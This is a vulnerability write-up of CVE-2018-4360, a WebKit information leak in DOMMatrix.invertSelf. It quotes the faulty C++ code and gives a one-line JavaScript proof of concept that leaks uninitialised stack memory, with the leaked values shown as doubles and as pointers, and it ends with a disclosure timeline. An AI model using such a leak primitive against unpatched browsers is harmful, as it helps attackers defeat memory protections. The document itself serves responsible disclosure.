CVE-2018-4360 - WebKit Information Leak with DOMMatrix.invertSelf
While playing around with domato and WebKit, I came across an interesting crash when calling invertSelf
on a DOMMatrix
. The bug was in the following code (Source/WebCore/css/DOMMatrix.cpp):
Ref<DOMMatrix> DOMMatrix::invertSelf()
{
auto inverse = m_matrix.inverse();
if (!inverse) {
m_matrix.setMatrix(
std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(),
std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(),
std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(),
std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN()
);
m_is2D = false;
}
m_matrix = inverse.value();
return Ref<DOMMatrix> { *this };
}
This issue is that inverting m_matrix
can fail and set inverse
to a nullopt, but inverse.value()
is still always called overwriting the NaN values with an uninitialised pointer. This will fill up the matrix with random data from the stack, which we can then access:
console.log(new DOMMatrix([0, 0, 0, 0, 0, 0]).invertSelf())
DOMMatrix:
a: 2.3236913163e-314
b: 6.9529314086834e-310
c: 0
d: 2.121995918e-314
e: 2.2541024625e-314
f: 6.9531249123115e-310
is2D: false
isIdentity: false
m11: 2.3236913163e-314
m12: 6.9529314086834e-310
m13: 2.2560109e-314
m14: 2.2561725264e-314
m21: 0
m22: 2.121995918e-314
m23: 2.3487948945e-314
m24: 2.2541024625e-314
m31: 2.256111357e-314
m32: 2.3217606737e-314
m33: 2.2560109e-314
m34: 2.2541024625e-314
After converting to Int64s using the wonderful scripts from https://github.com/saelo/jscpwn/:
0x00007fff18553185
0x0000000100000101
0x00007ffff961eb70
0x00007fff18553185
0x00000002205adf60
0x0000000100000101
0x000000022b4c7e60
0x0000000228479bb0
0x00000002201af0c0
The reason that this started crashing was due to the changes made to WTF’s internal std::optional which caused any invalid access to crash instead of using the uninitialised value.
Timeline:
- Jul 4, 2018 - Reported to Apple
- Jul 6, 2018 - Acknowledgement from Apple
- Jul 9, 2018 - Fix commited to svn
- Sep 17, 2018 - iOS and Safari updated
References: